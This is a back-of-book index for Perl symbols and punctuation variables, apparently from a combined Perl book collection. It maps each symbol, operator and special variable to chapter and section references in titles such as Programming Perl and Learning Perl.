{{ Perl debugger command : Perl in a Nutshell, Chapter 6, Reference: {{
[] (brackets)
anonymous arrays : Advanced Perl Programming, 1.2.3. References to Anonymous Storage
array composer : Programming Perl, 4.2.2. The Anonymous Array Composer
Perl debugger command : Perl in a Nutshell, Chapter 6, Reference: =
reference notation : Learning Perl, 19.7.1. References
regular expression metacharacter
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
Perl in a Nutshell, 4.6.4. Character Classes
Programming Perl, 2.4.1.2. The rules of regular expression matching
[ (left bracket) in double-quoted strings : Learning Perl, 3.7. Variable Interpolation of Arrays
^ (caret)
in [...] construct : Perl in a Nutshell, 4.6.4. Character Classes
anchor in regular expressions
Learning Perl, 7.3.1. Single-Character Patterns
Learning Perl, 7.3.3. Anchoring Patterns
Learning Perl on Win32 Systems, 7.3.3. Anchoring Patterns
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
Perl in a Nutshell, 4.6.5. Anchors
assertion : Programming Perl, 1.7.1. Quantifiers
bitwise XOR operator
Perl in a Nutshell, 4.5.10. Bitwise Operators
Programming Perl, 2.5.13. Bitwise Operators
Programming Perl, 2.5.20. Logical and, or, not, and xor
Programming Perl, 8.2.3. Awk Traps
Programming Perl, 8.4. Programming with Style
filled field fieldholder
Learning Perl, 11.4.4. Filled Fields
Perl in a Nutshell, 4.10. Formats
grid geometry manager placeholder : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
line boundary
Programming Perl, 1.7.3. Nailing Things Down
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
matching : Programming Perl, 2.4.1.2. The rules of regular expression matching
in picture lines : Programming Perl, 2.8. Formats
^= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
: (colon)
in import list : Programming Perl, 7.2.15.1. Specialized import lists
label suffix : Learning Perl on Win32 Systems, 9.4. Labeled Blocks
matching with split() : Learning Perl on Win32 Systems, 7.6.1. The split Function
.newsrc entries : Perl in a Nutshell, 15.3. The News::Newsrc Module
in package names : Perl in a Nutshell, 7.1. Namespaces and Packages
:: for package identifiers
Advanced Perl Programming, 6.6. Nesting Packages
Programming Perl, 5.1. Packages
Programming Perl, 8.2.7. Previous Perl Traps
for instance methods : Advanced Perl Programming, 7.2.4. The Need for Polymorphism
, (comma)
(see also CSV)
Programming Perl, 8.2.1. Universal Blunders
array literal character : Learning Perl on Win32 Systems, 3.2. Literal Representation
delimiting list values
Perl Cookbook, 4.2. Printing a List with Commas
Programming Perl, 2.3.4. List Values and Arrays
key/value pairs and : Programming Perl, 2.3.5. Hashes (Associative Arrays)
large numbers and : Programming Perl, 2.3.2.1. Numeric literals
number legibility without : Perl in a Nutshell, 4.2.1. Numbers
operator
(see also = (equal sign), => operator)
Learning Perl on Win32 Systems, D.4. Other Operators
Perl in a Nutshell, 4.5.11.3. Comma operator
Programming Perl, 2.5.18. Comma Operators
Programming Perl, 8.2.3. Awk Traps
$ (dollar sign)
in debugger : Programming Perl, 8.1.2. Using the Debugger
dereferencing scalars
Advanced Perl Programming, 1.1.3. References to Scalars
Perl in a Nutshell, 4.8.2. Dereferencing
line boundary
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
prototype character
Perl in a Nutshell, 4.7.5. Prototypes
Programming Perl, 2.7.3. Prototypes
regular expression anchor
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
Perl in a Nutshell, 4.6.5. Anchors
removing significance in strings : Learning Perl, 2.6.4. Interpolation of Scalars into Strings
scalar variable names
Learning Perl, 2.5. Scalar Variables
Perl in a Nutshell, 4.2.4. Variables
Programming Perl, 2.3.1. Variables
word boundary : Programming Perl, 1.7.3. Nailing Things Down
$ variables
$0 ($PROGRAM_NAME)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$1, $2, $3... : (see backreferences)
$& ($MATCH)
Learning Perl, 7.4.5. Special Read-Only Variables
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.1. Regular Expression Special Variables
Programming Perl, 6.4.2.2. a2p
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Programming Perl, 8.3.1. Time Efficiency
$< ($REAL_USER_ID)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$> ($EFFECTIVE_USER_ID)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$' ($POSTMATCH)
Perl Cookbook, 6.0. Introduction
Learning Perl, 7.4.5. Special Read-Only Variables
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.1. Regular Expression Special Variables
Programming Perl, 6.4.2.2. a2p
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Programming Perl, 8.3.1. Time Efficiency
$* ($MULTILINE_MATCHING) : Programming Perl, 2.9.1. Regular Expression Special Variables
$@ ($EVAL_ERROR)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$` ($PREMATCH)
Perl Cookbook, 6.0. Introduction
Learning Perl, 7.4.5. Special Read-Only Variables
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.1. Regular Expression Special Variables
Programming Perl, 6.4.2.2. a2p
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Programming Perl, 8.3.1. Time Efficiency
$\ ($OUTPUT_RECORD_SEPARATOR)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$! ($OS_ERROR)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$[
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
$] ($PERL_VERSION)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$^ ($FORMAT_TOP_NAME)
Learning Perl, 11.6.3. Changing the Top-of-Page Format Name
Perl in a Nutshell, 4.4.6. Filehandle Special Variables
Programming Perl, 2.8.1. Format Variables
Programming Perl, 2.9.2. Per-Filehandle Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Programming Perl, 8.2.1. Universal Blunders
$^A ($ACCUMULATOR)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.8.3. Accessing Formatting Internals
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
formline function : Programming Perl, 3.2.42. formline
$^D ($DEBUGGING)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$^E variable : Perl in a Nutshell, 4.4.1. Global Special Variables
$^F ($SYSTEM_FD_MAX)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$^H
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
$^I ($INPLACE_EDIT)
Learning Perl, 17.5. Variable-Length (Text) Databases
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$^L ($FORMAT_FORMFEED, $FORMAT_LINEFEED)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.8.1. Format Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$^M variable : Perl in a Nutshell, 4.4.1. Global Special Variables
$^O ($OSNAME)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$^P ($PERLDB)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$^T ($BASETIME)
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.5.10. Named Unary and File Test Operators
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$^W ($WARNING)
Perl Cookbook, 13.5. Using Classes as Structs
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$^X ($EXECUTABLE_NAME)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$: ($FORMAT_LINE_BREAK _CHARACTERS)
Learning Perl, 11.4.4. Filled Fields
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$, ($LIST_SEPARATOR, $OUTPUT_FIELD_SEPARATOR)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$$ ($PROCESS_ID)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$. ($INPUT_LINE_NUMBER)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
resetting with close function : Programming Perl, 3.2.18. close
$= ($FORMAT_LINES_PER_PAGE)
Learning Perl, 11.6.5. Changing the Position on the Page
Perl in a Nutshell, 4.4.6. Filehandle Special Variables
Programming Perl, 2.8.1. Format Variables
Programming Perl, 2.9.2. Per-Filehandle Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$# ($OFMT)
Learning Perl, 3.4.2. Array Element Access
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.3.4. List Values and Arrays
Programming Perl, 2.9.3. Global Special Variables
$- ($FORMAT_LINES_LEFT)
Learning Perl, 11.6.5. Changing the Position on the Page
Perl in a Nutshell, 4.4.6. Filehandle Special Variables
Programming Perl, 2.9.2. Per-Filehandle Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
interaction with $= variable : Learning Perl, 11.6.5. Changing the Position on the Page
$( ($REAL_GROUP_ID)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$) ($EFFECTIVE_GROUP_ID)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$% ($FORMAT_PAGE_NUMBER)
Learning Perl, 1.5.14. Listing the Secret Words
Learning Perl on Win32 Systems, 1.6.14. Listing the Secret Words
Perl in a Nutshell, 4.4.6. Filehandle Special Variables
Programming Perl, 2.8.1. Format Variables
Programming Perl, 2.9.2. Per-Filehandle Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$+ ($LAST_PAREN_MATCH)
Perl Cookbook, 6.0. Introduction
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.1. Regular Expression Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$? ($CHILD_ERROR)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
backtick operator and : Programming Perl, 2.3.7.1. Command input (backtick) operator
close function and : Programming Perl, 3.2.18. close
$" ($LIST_SEPARATOR)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$; ($SUBSCRIPT_SEPARATOR)
Perl Cookbook, 9.4. Recognizing Two Names for the Same File
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$/ ($INPUT_RECORD_SEPARATOR)
Perl Cookbook, 8.0. Introduction
Learning Perl, 6.1. Input from STDIN
Learning Perl, 14.2. Using Backquotes
Learning Perl on Win32 Systems, 6.1. Input from STDIN
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$~ ($FORMAT_NAME)
Learning Perl, 11.6.2. Changing the Format Name
Perl in a Nutshell, 4.4.6. Filehandle Special Variables
Programming Perl, 2.8.1. Format Variables
Programming Perl, 2.9.2. Per-Filehandle Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$_ ($ARG)
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
accidental clobbering : Perl Cookbook, 4.4. Doing Something with Every Element in a List
angle operator and : Programming Perl, 2.3.7.2. Line input (angle) operator
file tests default : Learning Perl on Win32 Systems, 10.6. The -x File Tests
forearch statement and
Learning Perl, 4.5. The foreach Statement
Learning Perl on Win32 Systems, 4.6. The foreach Statement
Programming Perl, 2.6.4.3. Foreach loops
glob() : Programming Perl, 2.3.7.3. Filename globbing operator
grep() : Programming Perl, 3.2.72. grep
implicit assignment to when reading : Learning Perl, 6.1. Input from STDIN
map() : Programming Perl, 3.2.91. map
outlawing unauthorized use
Perl Cookbook, 1.18. Program: psgrep
Perl Cookbook, 13.15. Creating Magic Variables with tie
regular expression matching default : Learning Perl on Win32 Systems, 7.2. Simple Uses of Regular Expressions
selecting other than with =~ operator : Learning Perl, 7.4.1. Selecting a Different Target (the =~ Operator)
split() default : Learning Perl on Win32 Systems, 7.6.1. The split Function
stat(), lstat() : Learning Perl on Win32 Systems, 10.7. The stat Function
tr() default target : Learning Perl on Win32 Systems, 15.5. Transliteration
unlink() default : Learning Perl on Win32 Systems, 13.1. Removing a File
$_[0] : Learning Perl, 8.4. Arguments
$| ($OUTPUT_AUTOFLUSH)
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.12. Flushing Output
Perl in a Nutshell, 4.4.6. Filehandle Special Variables
Programming Perl, 2.8.1. Format Variables
Programming Perl, 2.9.2. Per-Filehandle Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$a, $b, ..., sorting with : Learning Perl, 15.4. Advanced Sorting
. (dot) : Programming Perl, 2.5.10. Named Unary and File Test Operators
concatenation operator
Perl in a Nutshell, 4.5.11.4. String operator
Programming Perl, 1.5.2. String Operators
Programming Perl, 2.5.8. Additive Operators
Programming Perl, 8.3.1. Time Efficiency
example of : Learning Perl, A.7. Chapter 8, Functions
in numbers : Perl Cookbook, 2.17. Putting Commas in Numbers
Perl debugger command
Perl in a Nutshell, Chapter 6, Reference: .
Programming Perl, 8.1.1. Debugger Commands
regular expression metacharacter
Learning Perl, 7.3.1. Single-Character Patterns
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
Programming Perl, 1.7. Regular Expressions
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
self-name for directory
Learning Perl, A.11. Chapter 12, Directory Access
Learning Perl, 13.3.1. About Hard and Soft Links
.. (range) operator
Perl Cookbook, 6.8. Extracting a Range of Lines
Perl in a Nutshell, 4.5.11.1. Range operator
Programming Perl, 2.5.15. Range Operator
.. for parent directory : Learning Perl, 13.3.1. About Hard and Soft Links
.. list construction operator : Learning Perl, 3.2. Literal Representation
... (range) operator
Perl Cookbook, 6.8. Extracting a Range of Lines
Perl in a Nutshell, 4.5.11.1. Range operator
.= (assignment) operator
Learning Perl, 2.6.1. Binary Assignment Operators
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
" (double quotation marks)
Advanced Perl Programming, 5.3. Watch Your Quotes
Programming Perl, 2.3.2.2. String literals
Programming Perl, 2.4.1.1. The regular expression bestiary
in formline arguments : Programming Perl, 3.2.42. formline
= (equal sign)
array assignment operator : Learning Perl on Win32 Systems, 3.4.1. Assignment
assignment operator
Learning Perl on Win32 Systems, 2.6. Scalar Operators and Functions
Perl in a Nutshell, 4.2.4. Variables
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 1.5.3. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
copy constructor : Programming Perl, 7.2.48.6. Copy constructor
debugger command : Programming Perl, 8.1.1. Debugger Commands
for embedded documentation (pod)
Perl in a Nutshell, 4.1. Program Structure
Perl in a Nutshell, 4.11. Pod
in hash name/value pairs : Perl in a Nutshell, 4.2.4.2. Hashes
=> (corresponds to) operator
Perl Cookbook, 5.0. Introduction
Learning Perl, 19.7.2. Fancier Calling Sequences
Perl in a Nutshell, 4.2.4.2. Hashes
Perl in a Nutshell, 4.5.11.3. Comma operator
Programming Perl, 2.5.18. Comma Operators
with key/value pairs : Programming Perl, 2.3.5. Hashes (Associative Arrays)
with named parameters : Programming Perl, 2.3.5. Hashes (Associative Arrays)
=> operator (CGI) : Learning Perl on Win32 Systems, 18.4.5. Fancier Calling Sequences
== (equal to) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.2. Equality operators
Programming Perl, 2.5.12. Equality Operators
Programming Perl, 8.2.1. Universal Blunders
=~ (binding) operator
Perl Cookbook, 1.1. Accessing Substrings
Learning Perl, 7.4.1. Selecting a Different Target (the =~ Operator)
Perl in a Nutshell, 4.5.7. Pattern Match Operators
Programming Perl, 2.5.6. Binding Operators
Programming Perl, 8.2.3. Awk Traps
examples of
Learning Perl, 1.5.8. Making It Fair for the Rest
Learning Perl on Win32 Systems, 1.6.8. Making It Fair for the Rest
substitution and : Learning Perl, 7.5. Substitutions
tr operator and : Learning Perl, 15.5. Transliteration
> (greater than sign) : (see < > (angle brackets))
# (hash mark)
for comments : Perl in a Nutshell, 4.1. Program Structure
format fieldholder : Perl in a Nutshell, 4.10. Formats
#! (shebang) line
Learning Perl, 1.4. Basic Concepts
Perl in a Nutshell, 3. The Perl Interpreter
- (hyphen)
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.5.10. Named Unary and File Test Operators
in [...] construct : Perl in a Nutshell, 4.6.4. Character Classes
arithmetic negation operator
Perl in a Nutshell, 4.5.2. Unary Operators
Programming Perl, 2.5.5. Ideographic Unary Operators
grid geometry manager placeholder : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
Perl debugger command
Perl in a Nutshell, Chapter 6, Reference: -
Programming Perl, 8.1.1. Debugger Commands
in regular expression ranges : Learning Perl, 7.3.1. Single-Character Patterns
subtractive operator : Programming Perl, 2.5.8. Additive Operators
-> (arrow) operator
Advanced Perl Programming, 1.1.7. Shortcuts with the Arrow Notation
Advanced Perl Programming, 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
Perl Cookbook, 11.0. Introduction
Perl Cookbook, 13.0. Introduction
Perl in a Nutshell, 4.5.1. The Arrow Operator
Perl in a Nutshell, 7.4. Object Syntax
Programming Perl, 2.5.2. The Arrow Operator
Programming Perl, 4.3.3. Using the Arrow Operator
Programming Perl, 5.3.6. Method Invocation
Programming Perl, 5.5.1. Object-Oriented Scaling Tips
dereferencing with : Perl in a Nutshell, 4.8.2.1. Arrow dereferencing
indirect notation versus : Advanced Perl Programming, 7.2.5.1. Detour: The indirect notation
for instance methods : Advanced Perl Programming, 7.2.4. The Need for Polymorphism
-*- for Emacs : Programming Perl, 6.1.1. Command Processing
-= (assignment) operator
Learning Perl, 11.4.2. Numeric Fields
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
-- (autodecrement) operator
Learning Perl, 2.6.2. Autoincrement and Autodecrement
Perl in a Nutshell, 4.5.5. Autoincrement and Autodecrement
Programming Perl, 1.5.4. Autoincrement and Autodecrement Operators
Programming Perl, 2.5.3. Autoincrement and Autodecrement
Programming Perl, 7.2.48.3. Overloadable operations
-- switch, Perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
-| piping pseudo-command : Programming Perl, 6.2.2.2. Talking to yourself
< (left angle bracket) : (see < > (angle brackets))
() (parentheses)
anonymous arrays : Advanced Perl Programming, 1.2.3. References to Anonymous Storage
around function arguments : Perl in a Nutshell, 5. Function Reference
array literals and : Learning Perl on Win32 Systems, 3.2. Literal Representation
chdir() and : Learning Perl on Win32 Systems, 12.1. Moving Around the Directory Tree
forcing array context with : Learning Perl on Win32 Systems, 3.4.1. Assignment
in functions : Programming Perl, 3. Functions
grouping operator : Programming Perl, 2.4.1.2. The rules of regular expression matching
keys() and : Learning Perl on Win32 Systems, 5.4.1. The keys Function
for list values : Programming Perl, 2.3.4. List Values and Arrays
operator precedence and : Perl in a Nutshell, 4.5. Operators
print() and : Learning Perl on Win32 Systems, 6.3.1. Using print for Normal Output
in regular expressions
(see also backreferences)
Learning Perl on Win32 Systems, 7.3.4. Precedence
Learning Perl on Win32 Systems, 7.3.2.3. Parentheses as memory
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
Programming Perl, 1.7.4. Backreferences
Programming Perl, 2.4.1.1. The regular expression bestiary
Programming Perl, 2.5. Operators
Programming Perl, 2.5.1. Terms and List Operators (Leftward)
Programming Perl, 8.4. Programming with Style
values() and : Learning Perl on Win32 Systems, 5.4.2. The values Function
(?!) assertion : Programming Perl, 2.4.1.4. Regular expression extensions
(?!...) assertion : Programming Perl, 2.4.1.2. The rules of regular expression matching
(?:) for grouping : Programming Perl, 2.4.1.4. Regular expression extensions
(?...) assertion
Perl in a Nutshell, 4.6.8. Extended Regular Expressions
Programming Perl, 2.4.1.2. The rules of regular expression matching
(?=) assertion : Programming Perl, 2.4.1.4. Regular expression extensions
(?#) for comments : Programming Perl, 2.4.1.4. Regular expression extensions
(?i) modifier : Programming Perl, 2.4.1.4. Regular expression extensions
% (percent sign) : Programming Perl, 2.5.10. Named Unary and File Test Operators
associative array prefix
Learning Perl, 1.5.6. Giving Each Person a Different Secret Word
Learning Perl, 5.2. Hash Variables
Learning Perl on Win32 Systems, 1.6.6. Giving Each Person a Different Secret Word
Learning Perl on Win32 Systems, 5.2. Hash Variables
for checksums : Programming Perl, 3.2.182. unpack
dereferencing with
Advanced Perl Programming, 1.1.5. References to Hashes
Perl in a Nutshell, 4.8.2. Dereferencing
for hash names
Perl Cookbook, 5.0. Introduction
Programming Perl, 2.3.1. Variables
modulus operator
Learning Perl on Win32 Systems, 2.4.1. Operators for Numbers
Perl in a Nutshell, 4.5.3. Arithmetic Operators
Programming Perl, 2.5.7. Multiplicative Operators
prototype character
Perl in a Nutshell, 4.7.5. Prototypes
Programming Perl, 2.7.3. Prototypes
signifying variable type : Perl in a Nutshell, 4.2.4.2. Hashes
%= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
+ (plus sign) : Programming Perl, 2.5.10. Named Unary and File Test Operators
additive operator : Programming Perl, 2.5.8. Additive Operators
in filenames : Programming Perl, 3.2.102. open
modifying open() : Learning Perl, 17.4. Fixed-Length Random Access Databases
quantifier
Programming Perl, 1.7. Regular Expressions
Programming Perl, 2.4.1.2. The rules of regular expression matching
regular expression metacharacter
Learning Perl, 7.3.2.2. Multipliers
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
unary operator
Perl in a Nutshell, 4.5.2. Unary Operators
Programming Perl, 2.5.5. Ideographic Unary Operators
+= (assignment) operator
Learning Perl, A.3. Chapter 4, Control Structures
Learning Perl, 2.6.1. Binary Assignment Operators
Learning Perl on Win32 Systems, A.3. Chapter 4, Control Structures
Learning Perl on Win32 Systems, 2.6.1. Binary Assignment Operators
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
++ (autoincrement) operator
Learning Perl, 2.6.2. Autoincrement and Autodecrement
Learning Perl, 14.1. Using system and exec
Learning Perl on Win32 Systems, 2.6.2. Autoincrement and Autodecrement
Learning Perl on Win32 Systems, 14.1. Using system and exec
Perl in a Nutshell, 4.5.5. Autoincrement and Autodecrement
Programming Perl, 1.5.4. Autoincrement and Autodecrement Operators
Programming Perl, 2.5.3. Autoincrement and Autodecrement
Programming Perl, 7.2.48.3. Overloadable operations
+? regular expression quantifier : Perl in a Nutshell, 4.6.6. Quantifiers
# (pound sign)
comment character
Learning Perl, 1.4. Basic Concepts
Learning Perl on Win32 Systems, 1.5. Basic Concepts
format field characters : Learning Perl, 11.4.2. Numeric Fields
? (question mark) : Programming Perl, 2.5.10. Named Unary and File Test Operators
debugger command : Programming Perl, 8.1.1. Debugger Commands
quantifier
Programming Perl, 1.7.1. Quantifiers
Programming Perl, 2.4.1.2. The rules of regular expression matching
regular expression metacharacter
Learning Perl, 7.3.2.2. Multipliers
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
?: (conditional) operator
Learning Perl on Win32 Systems, 9.6. &&, ||, and ?: as Control Structures
Perl in a Nutshell, 4.5.11.2. Conditional operator
Programming Perl, 2.5.16. Conditional Operator
?...? operator : (see m?? (match) operator)
?...? Perl debugger command : Perl in a Nutshell, Chapter 6, Reference: ?pattern?
' (quotation marks, single)
Advanced Perl Programming, 5.3. Watch Your Quotes
Programming Perl, 2.3.2.2. String literals
" (quotation marks, double)
Advanced Perl Programming, 5.3. Watch Your Quotes
Programming Perl, 2.3.2.2. String literals
Programming Perl, 2.4.1.1. The regular expression bestiary
in formline arguments : Programming Perl, 3.2.42. formline
> (right angle bracket) : (see < > (angle brackets))
; (semicolon)
Programming Perl, 2.6.1. Simple Statements
Programming Perl, 8.2.1. Universal Blunders
ending Perl statements
Learning Perl, 1.5.1. The "Hello, World" Program
Perl in a Nutshell, 4.1. Program Structure
in prototype declarations : Perl in a Nutshell, 4.7.5. Prototypes
# (hash mark)
for comments : Programming Perl, 2.4. Pattern Matching
in formats : Programming Perl, 2.8. Formats
#! (shebang) notation
Learning Perl on Win32 Systems, 1.5. Basic Concepts
Programming Perl, 1.3.1. How to Do It
Programming Perl, 6.1.1. Command Processing
Programming Perl, 6.3.1.3. Security bugs
' (single quotation marks)
Advanced Perl Programming, 5.3. Watch Your Quotes
Programming Perl, 2.3.2.2. String literals
/ (slash) : Programming Perl, 2.5.10. Named Unary and File Test Operators
choosing alternate to, in substitution : Learning Perl, 7.5. Substitutions
debugger command : Programming Perl, 8.1.1. Debugger Commands
division operator
Perl in a Nutshell, 4.5.3. Arithmetic Operators
Programming Perl, 2.5.7. Multiplicative Operators
encoding in URLs : Perl in a Nutshell, 9.2. URL Encoding
in import list : Programming Perl, 7.2.15.1. Specialized import lists
regular expression delimiter
Learning Perl, 7.2. Simple Uses of Regular Expressions
Learning Perl, 7.4.3. Using a Different Delimiter
Learning Perl on Win32 Systems, 7.2. Simple Uses of Regular Expressions
Learning Perl on Win32 Systems, 7.4.3. Using a Different Delimiter
root directory
Perl Cookbook, 9.0. Introduction
Programming Perl, 3.2.17. chroot
/= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
// operator : (see match (m//) operator)
/.../ Perl debugger command : Perl in a Nutshell, Chapter 6, Reference: /pattern/
~ (tilde)
bitwise negation operator
Perl in a Nutshell, 4.5.2. Unary Operators
Programming Perl, 2.5.5. Ideographic Unary Operators
complement operator : Programming Perl, 8.2.3. Awk Traps
in filenames, expanding : Perl Cookbook, 7.3. Expanding Tildes in Filenames
in formats : Learning Perl, 11.4.4. Filled Fields
suppressing output whitespace
Perl in a Nutshell, 4.10. Formats
Programming Perl, 2.8. Formats
~~ to print strings in fields
Learning Perl on Win32 Systems, 11.4.4. Filled Fields
Perl in a Nutshell, 4.10. Formats
_ (underscore)
Perl Cookbook, 9.0. Introduction
Programming Perl, 2.3.1. Variables
Programming Perl, 8.2.7. Previous Perl Traps
filehandle
Perl in a Nutshell, 4.4.3. Global Special Filehandles
Programming Perl, 2.9.5. Global Special Filehandles
improving number legibility : Perl in a Nutshell, 4.2.1. Numbers
large numbers and : Programming Perl, 2.3.2.1. Numeric literals
in variable names
Learning Perl, 2.5. Scalar Variables
Programming Perl, 8.4. Programming with Style
| (vertical bar)
bitwise OR operator
Perl in a Nutshell, 4.5.10. Bitwise Operators
Programming Perl, 2.4.1.1. The regular expression bestiary
Programming Perl, 2.5.13. Bitwise Operators
as format field characters
Learning Perl, 11.4.1. Text Fields
Perl in a Nutshell, 4.10. Formats
